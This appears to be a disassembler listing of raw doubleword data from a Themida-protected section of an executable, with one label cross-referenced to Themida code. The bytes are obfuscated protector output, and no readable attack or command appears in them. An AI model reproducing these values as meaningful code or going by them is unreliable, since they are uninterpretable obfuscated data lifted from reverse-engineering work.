		dd 6CD88F55h, 182F78D5h, 0CE9C2h, 7880000h, 0C51083F8h
		dd 0D91AF36Eh, 0E0806E98h, 0CEE08119h, 0E93CF168h, 0Dh
		dd 4F764AD0h, 925D145Ah, 0BD3C6A25h, 66FE8B2Fh,	0F8FC79BEh
		dd 638ABE66h, 8E0FE28Ah, 15h, 10E9h, 0D691AC00h, 0D0BBEEBFh
		dd 6F1C7007h, 8B887B35h, 0A2BF6677h, 0C9B70FAEh, 9E952h
		dd 6F550000h, 53575014h, 58AB9B73h, 8ACFB70Fh, 0A1E380E5h
		dd 605EF556h, 6173F180h, 0FF5CA8Ah, 0FF9FBBFh, 28Bh, 8AB6B200h
		dd 0D2D781C6h, 6615FF95h, 0B866F18Bh, 8B6659EAh, 8D0FF1h
		dd 66000000h, 0F2523BAh, 8Ah, 0D7BA6600h, 13B9662Dh, 800F6004h
		dd 16h,	11E9h, 0AD262B00h, 0C9ABEF1Bh, 3D768860h, 176D8D1Fh
		dd 0FC612B5Eh, 0C38B6650h, 0A8B85759h, 580C85E3h, 1FF68166h
		dd 820F50C4h, 6, 870Fh,	0F5F0000h, 85h,	11E800h, 2F280000h
		dd 0A07C26C8h, 2B5C64ACh, 9FDFB996h, 8055BE4Ch,	0E95B90F0h
		dd 11h,	1377B5B9h, 0CFCF13FAh, 0AE1265CBh, 0C48D54D9h
		dd 61FC60C5h, 88B0Fh, 0F520000h, 81h, 0BF665900h, 0BE66452Dh
		dd 63B4ED00h, 18D0Fh, 81F90000h, 0AF4924C8h, 8AF08022h
		dd 2110B966h, 0D480C38Bh, 8B6660DEh, 7E9C3h, 0C3650000h
		dd 0C17A5E04h, 80B561A6h, 0F68166F9h, 8B663FD6h, 80EB8ADAh
		dd 0DE974F5h, 97000000h, 19B5A3D0h, 0B4EA17Eh, 8E74BFBCh
		dd 0BE9h, 4798F800h, 0AAC11651h, 25E51D28h, 0FE9h, 0DF4AAB00h
		dd 3B9966E6h, 0ADC4B5F4h, 2F4EDD01h, 0E8DCBA66h, 0B344D780h
		dd 8ABBB5B6h, 0BE6660D8h, 6E9E38Ch, 0F0000000h,	90E3458h
		dd 0FEB0611Bh, 38A0Fh, 0E7800000h, 0CE8B6666h, 9E9h, 7D98DE00h
		dd 58A85DFAh, 0E9FCDDFCh, 9, 0EF0C7728h, 357B6012h, 8166F5BFh
		dd 0F2961D6h, 0B84h, 6E900h, 40DC0000h,	0B2DDDD36h, 7E9h
		dd 0A6AB5600h, 0D8ECFB13h, 0F08166F5h, 870F591Eh, 0
		dd 6772C781h, 840F2789h, 19h, 14E9h, 5B09500h, 5E8EA534h
		dd 0EB3F57DCh, 0D936F466h, 9F355B8Ch, 81DEB342h, 40490FC7h
		dd 0D0816625h, 860F12EDh, 4, 0F939BA66h, 4850Fh, 0B4500000h
		dd 81665898h, 0BFCC71D1h, 70F562B6h, 12E9h, 1FA2DD00h
		dd 0E7669CD8h, 95E409C1h, 2337C447h, 8117901Ch,	4136B5C3h
		dd 66FA8A73h, 60A742B8h, 61C18166h, 0C38B6615h,	6E86061h
		dd 9000000h, 0FDA53D54h, 8C0F77h, 59000000h, 14E961h, 0C6B40000h
		dd 0F50AA1E2h, 88CEDF62h, 97041AE4h, 0DBFA0BBCh, 0C780D098h
		dd 0FD98A6Bh, 8C0FCEBFh, 15h, 9E8h, 7F4F4100h, 0DD9A16C8h
		dd 0F3812F59h, 1A02F97Fh, 0A4BE665Eh, 810F6077h, 1, 28C0FF5h
		dd 60000000h, 8E86161h,	0CD000000h, 640AD6E2h, 0FFAE0A2h
		dd 8Ah,	0B0605B00h, 0A01CBF76h,	8B617DBFh, 0DB8166CBh
		dd 81F5DF7Dh, 0B53E9AC2h, 6860F14h, 81000000h, 952DC5F1h
		dd 0BF0F537Ah, 0DE8B58D8h, 66CBB70Fh, 8B66D18Bh, 0EE8F2h
		dd 1C760000h, 0F288FCB5h, 3F02371Dh, 0C555AA2Ch, 0CE9h
		dd 0AE829E00h, 5CB4ADC9h, 8170C29Bh, 0E9F959D4h, 13h, 0C684A114h
		dd 0F6E873B2h, 0DB42AA63h, 60289700h, 0E8034531h, 0Eh
		dd 67A3BA6Bh, 6BAB2107h, 886B377Ch, 0FE9381Bh, 9B000000h
		dd 3C9A3F40h, 8E8E55CDh, 0B72874B1h, 50590674h,	516058F8h
		dd 10E8h, 0D9341900h, 14536AE2h, 70B97194h, 0AAAE259Eh
		dd 0F5A5BEFh, 380h, 0D0B70F00h,	800F6061h, 4, 0FB30B966h
		dd 61C2BF0Fh, 0BBCABF0Fh, 37A13F95h, 14E8h, 590BB100h
		dd 0F529C55Dh, 9CF791CFh, 0CB4BE497h, 0D9D3DE31h, 0B4C081C7h
		dd 5E39A30Ah, 0DE9h, 2930AB00h,	506CE54Ah, 0AEB0B8BFh
		dd 870F824Fh, 6, 0D419D281h, 8A0F577Ch,	18h, 0DE8h, 0B872BA00h
		dd 42B1546Dh, 0C5F064D0h, 8166480Eh, 5E47BAD9h,	17840Fh
		dd 8D0F0000h, 11h, 0BE8h, 20B77400h, 4443E44Fh,	61DBBF1h
		dd 0FD38A58h, 187h, 0CE8F900h, 0E8000000h, 0AFB9460Ah
		dd 0EC74D5C0h, 0E975FDC3h, 10h,	13B3C4D3h, 2BE4316h, 0EBE82EC0h
		dd 2D076329h, 11E9605Ah, 33000000h, 0A4D7FD45h,	0F1237AB0h
		dd 4B02ED8h, 0F1363CF5h, 61D18B66h, 3810Fh, 0E6800000h
		dd 4CB9F93Ch, 0F948DEB1h, 54BD56B8h, 6E956h, 0B070000h
		dd 0FDA1FF67h, 0C0B7D08Ah, 0CA816660h, 0F3813F41h, 66325B87h
		dd 30D88061h, 9BBAEA8Ah, 0E96EF41Dh, 0Ah, 7A687013h, 342B2AABh
		dd 8D0FAA73h, 26h, 10E8h, 4BF44100h, 760AE3Bh, 7301EB40h
		dd 0E897C061h, 0BE92Ah,	245F0000h, 0CCBB3A49h, 2DB757A4h
		dd 9E85A30h, 91000000h,	0D2976ACEh, 36668D8Eh, 5980F780h
		dd 0FE9h, 0E034FA00h, 0F70CFF1Ch, 5B9B83B1h, 685F8AAAh
		dd 48A0Fh, 0BA660000h, 0DE97F6Fh, 8F000000h, 951A37A5h
		dd 7DCE7ADDh, 5A66D900h, 338694BFh, 0E1BA6676h,	7E9BBh
		dd 0D2EA0000h, 0C8E9D4E3h, 6190B850h, 0CE806853h, 0EF8AF533h
		dd 9E9h, 6BCC1000h, 5404610Fh, 800F404Eh, 0Ah, 48C0Fh
		dd 0B8660000h, 0BF0F4180h, 20B866C0h, 0D88B665Fh, 67DA8166h
		dd 50CABB7Eh, 8F0F2F49h, 0
		dd 16800Fh, 11E90000h, 0DD000000h, 0E49939BBh, 5B3B06E5h
		dd 45FE770Ah, 0D86C1DAh, 13CE1EBAh, 0D2B70F2Dh,	7E9h, 0A3735B00h
		dd 0E71FD7EEh, 0EE8h, 5D4F0F00h, 3A3627ABh, 70E89D12h
		dd 66A701D7h, 5B02EFB8h, 0BE8h,	2FBC9B00h, 0C4FA4AFCh
		dd 0FF88FFB8h, 1880F5Ah, 0FC000000h, 8C0F7CB2h,	1, 840F52F9h
		dd 4, 9C81B866h, 0E8F98B5Eh, 0Bh, 64958B36h, 3CDA0E67h
		dd 606E3C8Dh, 0CE9h, 18CA6C00h,	960C7097h, 0FD1E1624h
		dd 61616062h, 0CE95Ah, 0C6790000h, 8AF0A31Dh, 65CCAA8Dh
		dd 8B66E4CDh, 0B1C081CEh, 66377D45h, 0B4E5EE81h, 0F9F6B70Fh
		dd 16EB8166h, 0E8DE8BEFh, 7, 3702FFF2h,	0F98AFB21h, 20C6815Eh
		dd 0F3C07D4h, 810FD3BFh, 5, 34E08166h, 58FC5098h, 60CEB70Fh
		dd 0C1A6D881h, 9DBA14C7h, 616EE7F9h, 665AC780h,	0F91E2BEh
		dd 18Dh, 0FE9F900h, 19000000h, 88B479E5h, 5082E01Ah, 0F2A5B0F5h
		dd 840F3B38h, 18h, 13E9h, 68F4B000h, 54DD37AEh,	342F44A1h
		dd 785ED287h, 39E1286Eh, 10E8F98Bh, 56000000h, 578211E2h
		dd 1420895h, 68AE5364h,	8B99D798h, 8B6659F8h, 0F281F8D0h
		dd 2556AA4h, 0FE9h, 3DCE3A00h, 250A7167h, 88A77652h, 69BF8737h
		dd 8AC2B70Fh, 9F281CEh,	802696BBh, 0F5607CF2h, 0D0EDB866h
		dd 0AE86061h, 32000000h, 0B15D2D52h, 0B24763E9h, 595F538Ah
		dd 66D4B361h, 81ECEE81h, 5EF6FFB8h, 14E922h, 0B79B0000h
		dd 0D8941D11h, 5A6A33FBh, 0D6FC3BE1h, 0A513D8BCh, 50569BF3h
		dd 60BDFABEh, 0E95F5B79h, 12h, 0AE4AB809h, 407212C1h, 67C11D6Ch
		dd 0A476D105h, 6060AA21h, 0EE5B966h, 6E9h, 0EC1FD600h
		dd 61D78EBCh, 0FCE8B61h, 0D78BD2BFh, 14E9h, 8A021800h
		dd 28507F27h, 0CE2B3463h, 59D06D1Ch, 6BFEA5E4h,	2CF080A1h
		dd 13E8h, 32DB0400h, 5F5C5888h,	6A5B5B4Ah, 3F11C92h, 701F8A6Ah
		dd 5E8h, 28469B00h, 0BF66AD09h,	585F5ACAh, 3CEBB0B8h, 810FF957h
		dd 5, 9E22BB8h,	0BF0F606Bh, 10E9DFh, 0A26A0000h, 0CB1D1EB6h
		dd 1434CE13h, 0ED52F287h, 0F61E167h
		db 84h
byte_6101E9	db 2, 2	dup(0)		; DATA XREF: Themida_:005A8C06o
		dd 8AFA8B00h, 0F6BF0FD1h, 0C9BF0FF9h, 0F5C4C281h, 4BBE78D5h
		dd 0F9599368h, 0DE8h, 783BD00h,	0AE7CB40Dh, 21063BA3h
		dd 81666BF4h, 5F3C24DEh, 0E959FC51h, 14h, 0BCB95C0h, 45ECF67Bh
		dd 66389710h, 0A92C140Bh, 0EABE5BBFh, 0AE9h, 57610000h
		dd 47AF766Ah, 6694729Eh, 9EA2E781h, 81CE8B66h, 3C1E6CEBh
		dd 0BF66600Bh, 9CB43016h, 8AF98A61h, 0F8F08BC7h, 0C78AD58Ah
		dd 0FC9BF0Fh, 108Eh, 8E85100h, 0E5000000h, 61F1EA4Bh, 59B67856h
		dd 1D830F59h, 0E8000000h, 0Bh, 0C0696E1Bh, 2C02B2CFh, 0E9FBCF7Fh
		dd 7, 0B8806DCCh, 5B98C78Bh, 28CBA66h, 0A2FBD9BFh, 29DD8064h
		dd 0FD88B66h, 0FF8DAB7h, 1B81h,	14E96000h, 68000000h, 89DF5303h
		dd 0FAC3B3F4h, 95EE7123h, 0CA6BE949h, 6148F7ADh, 3830Fh
		dd 8B660000h, 0F6B70FF2h, 0F8D38B66h, 0CEB70F60h, 64E88061h
		dd 1D880Fh, 8E0F0000h, 17h, 11E8h, 91485900h, 1D89465Ah
		dd 597CB59Ch, 88056CE8h, 0F5BF165h, 685h, 5BCB8100h, 6607ACADh
		dd 0F60F98Bh, 12E8D3B7h, 45000000h, 0A12D6E57h,	46414A3h
		dd 0E81427A9h, 4FCE1C81h, 0C1816622h, 6159BBBAh, 3B70D381h
		dd 8C0F32E0h, 2, 8B0FDA8Ah, 5, 43FB3DBAh, 2EBA665Eh, 5E8F998h
		dd 0B2000000h, 739B10Dh, 5FC6B70Fh, 0F38B6660h,	66615951h
		dd 810FF28Bh, 3, 533CCA80h, 5AF78B66h, 1B840Fh,	0E9510000h
		dd 14h,	10C54A09h, 51FEEB17h, 0DAFAA8AFh, 9EA75C00h, 8BEE0FD2h
		dd 0A6FFBE59h, 8166006Bh, 8B0D65D6h, 0F2BF0FF0h, 51D3BF0Fh
		dd 66606059h, 0DE80FA8Bh, 61F56109h, 4098BF66h,	8D74B966h
		dd 9E9h, 4140FD00h, 44B5F63h, 0AFB826A6h, 0B329248Ah, 0FE85Dh
		dd 5BC80000h, 3C4DE441h, 0F5A263AEh, 0C522108Ah, 0E9605878h
		dd 11h,	3548DDC3h, 3FD611EEh, 30C95BD0h, 0C8DB0A67h, 8B0F6102h
		dd 6, 0B4585760h, 0F28161A6h, 2A8C287Eh, 3052BB66h, 0B1F28B66h
		dd 7800F24h, 51000000h,	9B2FCBBAh, 9E85973h, 24000000h
		dd 0E480E9FCh, 96A0C692h, 5FCEB70Fh, 0DE816BB6h, 5ADF0CD0h
		dd 5820Fh, 76B90000h, 575BEB5Bh, 5A9BEA80h, 66C3BF0Fh
		dd 71C7C881h, 0BF0FC9B2h, 58B0FF0h, 0B8000000h,	76DFAF4Ah
		dd 8D6BBB66h, 0CF9E33B9h, 0A840F48h, 0F000000h,	487h, 0E2BB6600h
		dd 0C68B6666h, 8166F860h, 61CC39E6h, 8B66D18Bh,	2880FF7h
		dd 0B6000000h, 0DE9D5h,	0E6210000h, 518D3B80h, 0D74FA99Ch
		dd 0E93053C6h, 0Eh, 0FD288ABDh,	0F24D6A1Ch, 0A6AC3A10h
		dd 0F0BE4D1Eh, 6006A497h, 13E9h, 6089D300h, 5E24DE48h
		dd 1B85661Ah, 0FBA1D507h, 0DD25170Ah, 0C95173BFh, 11E96173h
		dd 0FA000000h, 0FBC1A946h, 0A3E1326Ah, 0A58629D4h, 89DF208h
		dd 10880Fh, 0BE90000h, 0D2000000h, 0CF0227F7h, 0C10C1164h
		dd 6660B7C0h, 814B3AB9h, 4E9F00C2h, 9E9615Bh, 0DA000000h
		dd 6DAAF4FAh, 80A3AD7Eh, 2860F60h, 8B000000h, 0C9E080F8h
		dd 54B86661h, 11E877h, 40F30000h, 6E95B527h, 0D3F7EE83h
		dd 0A37E0B20h, 0E860984Bh, 0Ch,	0DEF79354h, 6D50AA59h
		dd 85E439BCh, 0D26658BBh, 815E5F5Ch, 0FA1BD5E7h, 12E952h
		dd 0E4B90000h, 633CF005h, 6A1DF768h, 0B3DE9184h, 555A46ADh
		dd 6E8h, 6564A300h, 0BEED87D5h,	1006DB94h, 0CABF0F5Eh
		dd 158C0Fh, 0DE80000h, 6D000000h, 1229A894h, 0DD428C2Ah
		dd 0CE9C8071h, 66585956h, 1BCBE281h, 0F630DB81h, 6E94769h
		dd 46000000h, 0A437AFE6h, 0BABA6610h, 0F5A5302h, 28Bh
		dd 8AF08A00h, 0BCB866CAh, 8E929h, 12BE0000h, 0A74BE0D9h
		dd 0BF0FB4C7h, 0F480FCC9h, 0EDBE66E5h, 12E9D0h,	0DEF60000h
		dd 20980B8Ah, 0CE2A4426h, 7D5D012Dh, 0BCDFE0ADh, 8AF7B7FCh
		dd 2BB966CAh, 8060F586h, 800F81CEh, 2, 8B616160h, 10E8C8h
		dd 0EC930000h, 0C6106ED0h, 0AF94DAB6h, 68F275F5h, 0EE957ECh
		dd 91000000h, 9ADA1409h, 0B6350049h, 94B748CFh,	60525B0Ah
		dd 61FA8AF9h, 4192B95Ah, 0B8664B0Ch, 0B35226BFh, 8B665FFEh
		dd 0FEC7B8C1h, 5E857F2h, 0ED000000h, 92B5920Dh,	6E9h, 4275C500h
		dd 5921276Ch, 0EDA6EFB8h, 0F88B666Bh, 0DFB70F60h, 0F6142B7h
		dd 8160F7BFh, 0AB086BE1h, 61F08B0Bh, 23DCBDB9h,	88E0F7Dh
		dd 0F000000h, 289h, 6079B200h, 51F3BB66h, 0F8CCB461h, 75F68166h
		dd 12E844h, 22370000h, 4D363072h, 8B01D306h, 9EC3F75Eh
		dd 8FC37696h, 6E9h, 30069800h, 5B8C92FAh, 0FCAB70Fh, 2D82h
		dd 0EE800h, 0B0740000h,	0ED21F1AAh, 92731CB4h, 0AC3C6BEBh
		dd 14E9h, 83021300h, 3B8D55A2h,	0BFF59958h, 0DBEB437h
		dd 3F07D5E5h, 0BF665BDBh, 66531282h, 0D1BC881h,	7E85Bh
		dd 0FEC10000h, 41CA276Fh, 0D78166C5h, 0F592B8Ch, 38Ah
		dd 0C7BF0F00h, 8F96B9F9h, 8B660CCDh, 0F810FF2h,	50000000h
		dd 8E9h, 93B75D00h, 0F7F81B48h,	820F592Dh, 8, 28C0Fh, 0F08B0000h
		dd 60604EB3h, 0DE8h, 6AF43A00h,	0BE9AF175h, 16E3349Bh
		dd 615F6B13h, 7CB86661h, 7E180FDh, 10E9h, 5BA6A300h, 0FC4A36F7h
		dd 25DF5F57h, 614A0D15h, 0CE8F9h, 7A710000h, 0B57AEAEAh
		dd 0FB9CBBEAh, 7AB85CE7h, 5E3892C1h, 0E9D8BF0Fh, 9, 2364116Ch
		dd 1231B7BBh, 8E0F6082h, 0
		dd 0D8B70F57h, 8166615Ah, 0B9B664D0h, 1234B6FBh, 6BB81EB5h
		dd 0E97AB6C2h, 14h, 87E4D3BBh, 3AB33D82h, 0A66ECE6Dh, 0DE39E678h
		dd 44EFEEABh, 11890Fh, 0E9500000h, 0Ah,	0E863BCAFh, 0FD5ADEC6h
		dd 0E959AA46h, 0Ah, 41C3D0F7h, 59BC8DBCh, 7EB874A8h, 0E965AFA7h
		dd 14h,	0F4CED3C5h, 9416EA5Eh, 1ED562DBh, 7C09C9E2h, 454A89ADh
		dd 0B459F550h, 0F7BF0F62h, 0BBC2BF0Fh, 57E41FFh, 8E9h
		dd 0EFD4A900h, 5D45D30Ah, 0A2B06099h, 6FBB6660h, 0F6161BFh
		dd 686h, 0E4F38100h, 807AA79Eh,	820FE5E3h, 6, 79BDEA81h
		dd 81660030h, 8BCBACC1h, 4918B9CBh, 6E83D4Bh, 5A000000h
		dd 9C1D8946h, 0F47ABBB5h, 0F5F5BB4h, 0C85h, 68E0F00h, 0F000000h
		dd 8Bh,	0E9F88B00h, 13h, 0F0125F74h, 978032E3h,	1D55B2A8h
		dd 0B415F270h, 0F8F9044h, 689h,	58E28100h, 0E96842F4h
		dd 13h,	90FF107Dh, 37CD36B0h, 7F319AB2h, 4C77E87Ah, 60681616h
		dd 12E9h, 0E3853E00h, 2B8637B1h, 591EDA60h, 6DA786Ah, 8AFD5262h
		dd 850F61ECh, 3, 0BAF9B70Fh, 1397CE1Eh,	0F83CE580h, 0D9D8BE66h
		dd 7CFFF381h, 66601558h, 8061DA8Bh, 7E958EDh, 0FC000000h
		dd 2B29839Fh, 8E8356Dh,	0C8000000h, 762E260Ah, 6006ED4Bh
		dd 6E9h, 0C0EFEA00h, 617F3A15h,	0C3E1805Eh, 0FE9h, 15780B00h
		dd 0BC9ABF62h, 713CFEBCh, 5F3C6C71h, 10E8F88Bh,	0F9000000h
		dd 0B4EC5763h, 668F43DDh, 80E576A0h, 0B1B4D580h, 0F6815B49h
		dd 682A56C9h, 0EE8h, 0CE7F2500h, 0FC178BE8h, 0BB4ABF12h
		dd 0E8C04FBCh, 11h, 0DCA64A20h,	8F18521Fh, 0FB5D5FE5h
		dd 73403FC6h, 5E59F576h, 6810Fh, 60600000h, 61585361h
		dd 8E960h, 1DB60000h, 5C7EE93h,	0F60D871h, 84h,	66616100h
		dd 8F0FDF8Bh, 8, 28C0Fh, 5E510000h, 0B8D6B70Fh,	1CD42586h
		dd 9ADD23BFh, 0E3816076h, 7CA94A29h, 6661C38Bh,	6650D0BBh
		dd 0B0A6C3BEh, 1BBE6687h, 8E952h, 22D20000h, 0C8B70C3Fh
		dd 0E281A4DEh, 16997D4Ch, 299295B8h, 0D5C8BE36h, 820F6964h
		dd 18h,	13E9h, 0D8F8A600h, 9A05965Fh, 419F8AEAh, 954F37C0h
		dd 647A5330h, 815012B1h, 0C25CEEF0h, 0B70F5A0Fh, 0EB966C1h
		dd 870FF813h, 0
		dd 6840Fh, 66510000h, 5EB7A0B8h, 0EA80F8F9h, 0DF816684h
		dd 83B0A0D1h, 0BF0FFA8Bh, 39E781D0h, 0F34C9F8h,	885h, 2800F00h
		dd 8B000000h, 0A7C980C7h, 81F5D98Bh, 2BC94CE8h,	0BE840h
		dd 98D00000h, 0C101E9AFh, 0EB80DE3h, 0C78B66C5h, 1A850F5Bh
		dd 0E8000000h, 10h, 7D6D439Bh, 0C2EE143Dh, 38E39645h, 0E1405D22h
		dd 4963BF66h, 10E9505Bh, 99000000h, 0C075B326h,	0F78D595Bh
		dd 0A71312A8h, 58E5B71Fh, 96C08166h, 3ABB6627h,	0F08B6656h
		dd 0FD08B66h, 32BFFAB7h, 0B0477F4Ch, 0F8B70F69h, 2860FF5h
		dd 8B000000h, 4924BEFEh, 8B606769h, 12E9C6h, 0AE7A0000h
		dd 7C8214B1h, 726D567Ch, 500EDD41h, 1F90B481h, 0C7C78061h
		dd 38C88166h, 0AE96048h, 0B9000000h, 10F0E90Ch,	0EA3775A8h
		dd 14E9A5h, 208E0000h, 0B3AFE2BCh, 6F3909ACh, 0DC5312E8h
		dd 5D1D503Ah, 60612121h, 0AE956h, 5BFE0000h, 85A06BEFh
		dd 187CBE95h, 0B3BB6158h, 0F367ADFh, 381h, 0C8B70F00h
		dd 0FC3B0F8h, 0E881C2B7h, 29CF29D3h, 8003E480h,	81667AE7h
		dd 0E9A4FFE3h, 9, 8543E2Ah, 0E7FE09EBh,	9E956A9h, 0D4000000h
		dd 56757118h, 9719FC34h, 42B6F559h, 9870Fh, 8A0F0000h
		dd 3, 0E9DABF0Fh, 7, 0D0ADED90h, 8B120319h, 0DF8160D7h
		dd 587D2778h, 0DF8061FCh, 7BE66D5h, 0EA4BB834h,	0D2813F39h
		dd 2FDB26D0h, 0C1C7BA60h, 816128BDh, 31A7C4EEh,	940ABF2Ch
		dd 0F504A00h, 38Bh, 0FBC68000h,	8B66515Fh, 0FF95ADFh, 850FCEBFh
		dd 2, 12E8D18Bh, 24000000h, 0D53B6877h,	28817C3Dh, 9E7D143Ah
		dd 59C083A8h, 0BE974h, 7B710000h, 0ADDB75F4h, 0F73CC4BEh
		dd 666059E1h, 0A26BF381h, 8B6661F8h, 6E7B9D7h, 0F50312Dh
		dd 8158C8B7h, 5E4832F0h, 1089B912h, 4CB07E68h, 13E8h, 0DD356100h
		dd 422E3A5Ah, 6EAEE137h, 0D6524546h, 7C91323Ah,	7880F59h
		dd 57000000h, 820627B9h, 0E9605E67h, 0Ch, 0F30DB41Ch, 4F9B87E3h
		dd 5B4148A9h, 61F9B70Fh, 0EE96CB1h, 0B0000000h,	0D327FE49h
		dd 7E01DC50h, 27D1C4D9h, 13810F8Ch, 0E9000000h,	0Eh, 35EDA838h
		dd 91656871h, 0F9EB58CDh, 830F36B3h, 3,	0FCDEB70Fh, 66F81CB5h
		dd 0CA07F281h, 13E8F5h,	5B7B0000h, 99A0EF4Ah, 5BC25CEDh
		dd 339884D3h, 74A0B4D1h, 0C7BF0FC9h, 0BE85Eh, 9190000h
		dd 2CB54C2Ch, 0FBE77058h, 5DA8BE00h, 0B959575Fh, 26E9EA5Bh
		dd 5980B866h, 66F3B70Fh, 239FE781h, 35CE8166h, 0C88B6615h
		dd 0EE960h, 0B4360000h,	0D999242Fh, 47F43D9Dh, 0D59B258Dh
		dd 6147EA80h, 6E6CBB66h, 0E9DFD380h, 10h, 581A90C9h, 0F281665Eh
		dd 6BD1809Ch, 6EE34C52h, 0ACD28166h, 0BCF4BB02h, 0CE94A32h
		dd 9E000000h, 0ED479472h, 1345414Ah, 0BBF6EE80h, 38849FDBh
		dd 0F9FCD80h, 188h, 0BE9FC00h, 50000000h, 5110AFC9h, 3F49929h
		dd 0CF8A1C7Fh, 38A0FF5h, 0F000000h, 0D48AC2BFh,	0E9F6B70Fh
		dd 0Dh,	616FE882h, 0F4C86DE4h, 0EE70D60h, 8CBE665Ah, 13EA8135h
		dd 8B73859Eh, 0E08166F3h, 0FF536AFh, 8166F9BFh,	0E8E211C1h
		dd 0Ah,	0A8724A84h, 9A766FC7h, 62B76DBDh, 14E95Bh, 70B80000h
		dd 8D329E87h, 7D5C16E2h, 3B1A0516h, 0F35E6F3Fh,	0F18B0E8Ah
		dd 880FCE8Bh, 18h, 0CE8h, 45B05500h, 599F121Ch,	0FAF9B079h
		dd 98E88191h, 5B0B72C3h, 0FD7B70Fh, 0EE80D8BFh,	8880FAFh
		dd 0F000000h, 289h, 0F4FB700h, 682h, 0CDE78100h, 0E920F888h
		dd 5, 26A27AF9h, 8E0FF6h, 66000000h, 8C5EF081h,	0E82CC380h
		dd 0Ch,	0C8944DACh, 0B3C8F215h,	0F5D2FC57h, 68C0Fh, 0DF810000h
		dd 55C5D349h, 3890F5Fh,	66000000h, 0CE9D68Bh, 0E9000000h
		dd 924586C9h, 0ED3E55BDh, 5677007Bh, 515ED08Bh,	5BC9BF0Fh
		dd 2BE98166h, 0D88B663Dh, 7E9AAB7h, 0C6000000h,	796477F0h
		dd 8B663A95h, 28C0FF3h,	8A000000h, 57CE8BDCh, 0B38FE881h
		dd 605814ECh, 8BFB8B66h, 665361DEh, 5B159CB9h, 0FA8BDE8Bh
		dd 0DE857h, 0E5710000h,	0AAC9A501h, 7685A360h, 0B8B947F0h
		dd 5CFEA5CAh, 0DAB65B59h, 8D0Fh, 0F7810000h, 77A3DE05h
		dd 5920CBAh, 12E848h, 2C470000h, 21CF85D2h, 1EF6ADE3h
		dd 971BF5DDh, 0C2D9B9Dh, 0F5EFC8Ah, 36B6FFB7h, 226584BEh
		dd 6E90Ah, 40DC0000h, 0B2DDDD36h, 5E9h,	7430A000h, 0BA66A2D9h
		dd 0B70F1282h, 11E9D9h,	2CA10000h, 100337A4h, 6FD1BC45h
		dd 30E07850h, 0E996A634h, 13h, 0C8310D32h, 0E33F9F08h
		dd 0FA6BF9F3h, 0C8D35F3Bh, 661CD0EAh, 0B8F88BB9h, 3D97F738h
		dd 7341F081h, 0DE97EC1h, 55000000h, 0BEE2659Bh,	12958193h
		dd 7CF8BAFEh, 9880Fh, 0B3600000h, 0B840BBA2h, 0F6132CFh
		dd 0BE9F9B7h, 87000000h, 73EB5A94h, 9B9510B3h, 800F0BA5h
		dd 12h,	0DE9h, 9FC16500h, 0A294EF7Eh, 91CE8630h, 66F893E0h
		dd 1158D881h, 58F0Fh, 81660000h, 51E6BAC1h, 13E8h, 8572E900h
		dd 0DAF9CAFh, 4F03844Ch, 271EF01h, 0D749429h, 0F88B5E5Bh
		dd 625FB866h, 0BAFEBF0Fh, 63C1AF37h, 8B57E480h,	0F28BF9C8h
		dd 810F6FB5h, 0
		dd 8E9h, 1EA98D00h, 6A63366Eh, 28B8666Ah, 0D98050F5h, 66F85B0Ch
		dd 6065ABBAh, 3820Fh, 0B70F0000h, 0D38052DFh, 0F615A95h
		dd 0E181F2B7h, 975F7A4h, 5880Fh, 0C8BB0000h, 0B217CF22h
		dd 38F0F81h, 66000000h,	8D0FC78Bh, 0Ch,	68A0Fh,	830F0000h
		dd 0
		dd 0D4CBB966h, 0E78166FCh, 0EE99616h, 56000000h, 0E1CC190h
		dd 312B801h, 4B29E37Dh,	0C1BF0FDEh, 0E881C980h,	12h, 9F6A0612h
		dd 6AB0B461h, 787B4519h, 90EBA165h, 0EE8D94Ch, 93000000h
		dd 9A2CCFDAh, 0B999442Bh, 0BB64E988h, 880F46h, 5A000000h
		dd 8F0F59h, 0F9000000h,	9ED08166h, 0AE978h, 0E93F0000h
		dd 0C449A6F1h, 0B8553F41h, 14E9h, 6B7C9F00h, 2839789Fh
		dd 2DA3C882h, 0C30CAB44h, 0EE3548DDh, 8A5CB611h, 11E850C6h
		dd 7F000000h, 5F68FBCFh, 0F8CFE6E6h, 7BE68ABBh,	3ADAB403h
		dd 13E9h, 0E6E17F00h, 5DA4A2C0h, 2F299FA2h, 0BB6B4803h
		dd 0B2AE3DBFh, 0DE8B595Bh, 0D624D681h, 0BF0F547Dh, 0C78166F2h
		dd 81660AC1h, 81D29CD2h, 30EB42E0h, 0C381664Ah,	0C981D31Dh
		dd 6766D1Bh, 0DD1BA66h,	404E6BB8h, 0FE926h, 7BF00000h
		dd 10747925h, 0F05CD6Ch, 0DCB35FDBh, 0BE99Ah, 3EBF0000h
		dd 0AB6C4697h, 7C0A5E94h, 1DDE81A4h, 8045E383h,	66B52DC2h
		dd 8B66F560h, 816661CBh, 0E9ECD5C8h, 12h, 9448E619h, 96231185h
		dd 86F476A1h, 8707AD9Ah, 0CB0E54Fh, 0F2DD880h, 14E9D1B7h
		dd 0A000000h, 0F8031F13h, 1E03C58Fh, 17B1C380h,	0C0A4A792h
		dd 0F637F70h, 386h, 0D1CE8000h,	3860Fh,	0B70F0000h, 18C0FC6h
		dd 0F9000000h, 0DE9h, 0F6253600h, 0B521A966h, 15A525EFh
		dd 0F607B8Dh, 38Fh, 0E9D38000h,	61DBBF0Fh, 0C7CF8057h
		dd 0E7E9815Eh, 600CCC76h, 14E8h, 2116200h, 9646F189h, 428995AEh
		dd 0A9EE5DB8h, 0FDCF11F9h, 0C7BF0FE9h, 0F961F85Ah, 0DE9h
		dd 6682A600h, 0D987C1BDh, 0A0DDAB43h, 9E8E947h,	64000000h
		dd 0E783DD74h, 6CCC8354h, 6B0FBF59h, 81662142h,	0FB227C6h
		dd 85h,	0E8CF8A00h, 6, 0FF107D5Eh, 8166B090h, 5A65FBC2h
		dd 0B6C78166h, 0FDBA661Bh, 48F0FDDh, 60000000h,	0E9616160h
		dd 9, 0E0AC5C97h, 1E860064h, 820F50ADh,	3, 5857C580h, 5151CF8Bh
		dd 212AB966h, 81665E5Eh, 0E987BFDAh, 9,	4557F24Ah, 0C62586A9h
		dd 0AFBA6631h, 810F5281h, 11h, 0CE9h, 0DF81FD00h, 1684F197h
		dd 4F7EFFBEh, 0BA6658D2h, 0AE93F61h, 8A000000h,	8F845820h
		dd 4EE63791h, 0D2EA8142h, 0F10DA9Ah, 870FD0BFh,	12h, 0DE9h
		dd 0F600F400h, 40C6B2CBh, 1D30FF70h, 8A0FED7Dh,	3, 0BEDFB70Fh
		dd 23A1597Ah, 7EBF66F8h, 9E968h, 0DA0C0000h, 28413722h
